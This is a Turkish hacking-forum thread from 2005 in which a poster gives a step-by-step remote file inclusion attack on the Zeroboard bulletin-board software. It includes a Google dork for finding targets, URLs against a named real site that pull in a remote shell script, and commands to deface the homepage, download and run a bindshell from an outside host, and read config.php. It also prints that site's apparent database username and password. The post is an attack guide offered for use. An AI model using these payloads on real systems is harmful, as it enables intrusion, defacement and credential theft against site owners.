Zeroboard Bug

Tahribat.com Forumları
line

Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
line

Zeroboard Bug

01/Ağu/05 18:10 Kısayol Şikayet Özel Mesaj

CYB3R-SPY

Kayıt Tarihi: 28/Temmuz/2005

[Bazı bölümler alıntıdır]

Bu işlemi yapmak için ihtiyaç duyulan prg. matrix.txt (remote file inclusion)..

bu açıkta da yine google'dan yararlanıyoruz..google.com a girip findsite.exe olarak aratıyoruz..

allinurl: /zboard/zboard.php

Daha sonra da çıkan linkler den birini seçiyoruz ve i.explorer a yapıştırıyoruz..

http://juotte.com/bbs/include
/write.php?dir=http://masal.250free.com/matrix.txt?&cmd=uname -a;pwd;id

Daha sonra da siteye ;

http://juotte.com/bbs/include
/write.php?dir=http://masal.250free.com/matrix.txt?&cmd=cd /home/juotte/www;cyb3r-spyc was Here >index.html

istediğimizi yapıyoruz..

[eğer olmassa dizin korumaldır o zaman servera bindshell kuruyoruz.]

http://juotte.com/bbs/include
/write.php?dir=http://masal.250free.com/matrxix.txt?&cmd=cd /tmp;
wget BindshellinOlduğuSite.com/bindshell

http://juotte.com/bbs/include
/write.php?dir=http://masal.250free.com/matrxix.txt?&cmd=cd /tmp;chmod 777 bindshell

http://juotte.com/bbs/include
/write.php?dir=http://masal.250free.com/matrxix.txt?&cmd=cd /tmp;./bindshell

ve putty tarzı programlar vesilesiyle bindshellin açtıgı porttan bağlanıyoruz.
root olmak için ise gerekli local exploiti bulup serverda /tmp dızınınde derleyip calıstırıyoruz.

config.php yı goruntulemek için :

http://localhost.com/zboard/include/
write.php?dir=http://masal.250free.com/shell.gif?&cmd=cd%20. .;cat%20config.php

<?
localhost
juotte <-------------- - user
juotte7034 <--------------- password
juotte
?>

user ve pass karşımızda..daha sonra da ftp den user ve pass olarak bağlanabilirz..

CYB3R-SPY

]Bâtıl şeyleri tasvir etmek, safi zihinleri idlâl eder

Alıntı yap
20/Eyl/05 21:07 Kısayol Şikayet Özel Mesaj

masal75

Kayıt Tarihi: 16/Eylül/2005

yazarı belirtseydın barı kimdi yazar M@TRiX = zeronc = masal75 mi acaba?

Alıntı yap

Toplam Hit: 2412 Toplam Mesaj: 2

Cevapla